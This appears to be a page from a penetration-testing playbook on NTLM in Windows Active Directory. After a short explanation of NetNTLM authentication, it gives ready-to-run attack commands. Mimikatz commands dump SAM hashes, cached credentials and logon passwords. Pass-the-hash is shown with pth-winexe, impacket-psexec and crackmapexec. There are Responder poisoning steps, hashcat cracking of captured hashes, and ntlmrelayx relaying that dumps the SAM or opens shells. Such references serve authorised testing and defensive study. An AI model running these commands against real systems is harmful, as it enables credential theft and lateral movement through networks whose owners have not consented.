notmalicio.us
04 · active directory

NTLM

NTLM, NetNTLM, and more

3 sections · 2 min read · ~/playbook/ntlm

NetNTLM Authentication

  1. The client requests authentication from the application/service
  2. The application/service sends the client a challenge
  3. The client completes the challenge and sends back the response
  4. The application/service forwards the challenge and response to the Domain Controller
  5. The Domain Controller validates the response and returns the result
  6. The application/service grants or denies authentication to the client
Hand-drawn NetNTLM flow: Client sends 1. request authn, 2. challenge, 3. response to the service/database server, which 4. forwards challenge and response to the Domain Controller, 5. validation, 6. authn granted or denied

NTLM Enumeration

Mimikatz for Hashes and Cached Creds

For dumping hashes and cached creds, fire up Mimikatz and gain debug privilege:

mimikatz # privilege::debug
mimikatz # token::elevate

Lsadump

To see help menu for lsadump, run: lsadump::

Dump the SAM Registry Hive:

  • Online: lsadump::sam
  • Offline:
> reg save HKLM\SYSTEM SYSTEM.bak.hiv
> reg save HKLM\SAM SAM.bak.hiv
mimikatz # lsadump::sam /system:SYSTEM.bak.hiv /sam:SAM.bak.hiv

If the host is domain joined, dump the cached credentials: lsadump::cache

Sekurlsa

To see help menu for sekurlsa, run: sekurlsa::

List all provider credentials: sekurlsa::logonpasswords

List only NTLM credentials: sekurlsa::msv

Attempt to crack the hash when possible, but pass the hash may offer an approach if the hash is not cracking.

Sekurlsa can also be used to pass the hash.

NTLM Attacks

Pass the Hash

For most of the following, use 00000000000000000000000000000000 and/or aad3b435b51404eeaad3b435b51404ee for the empty LM hash.

If hashes are obtained, use pth-winexe to perform a pass the hash attack:

pth-winexe -U USERNAME%FULLNTLMHASH //TARGET cmd

Alternatively, impacket psexec can be used to pass the hash:

impacket-psexec DOMAINNAME/USERNAME@TARGET -hashes FULLNTLMHASH

Crackmapexec also offers pass the hash capabilities:

crackmapexec smb IPADDR -u USER -H NTLMHASH -x COMMAND

Additional Resource: https://www.pwndefend.com/2021/08/07/dumping-credentails-with-mimikatz-and-passing-the-hash-pth/

LLMNR, NBT-NS, and WPAD Poisoning with Responder

When a Windows host can't resolve a name through DNS, it falls back to broadcasting LLMNR and NBT-NS queries. Responder answers those queries, and the victim then authenticates to you, handing over a NetNTLM hash.

Listen and poison on an interface (add -w to also serve a rogue WPAD proxy):

sudo responder -I eth0
  • Use -A (analyze mode) first to watch the traffic without poisoning
  • Captured hashes are printed and saved in /usr/share/responder/logs/

Crack captured NetNTLMv2 hashes:

hashcat -m 5600 netntlmv2.hash /usr/share/wordlists/rockyou.txt

NTLM Relay with ntlmrelayx

Instead of cracking, the authentication can be relayed to another host. This only works against hosts that don't require SMB signing.

  1. Find relay targets (hosts without SMB signing):
nxc smb SUBNET/24 --gen-relay-list relay.txt
  1. Turn off Responder's own SMB and HTTP servers so ntlmrelayx can use those ports: set SMB = Off and HTTP = Off in /etc/responder/Responder.conf, then start Responder as above.

  2. Start the relay:

impacket-ntlmrelayx -tf relay.txt -smb2support
  • By default this dumps the SAM on targets where the relayed user is a local admin
  • Add -c "COMMAND" to run a command instead, or -i for an interactive SMB shell
esc
↑↓ navigate↵ openesc close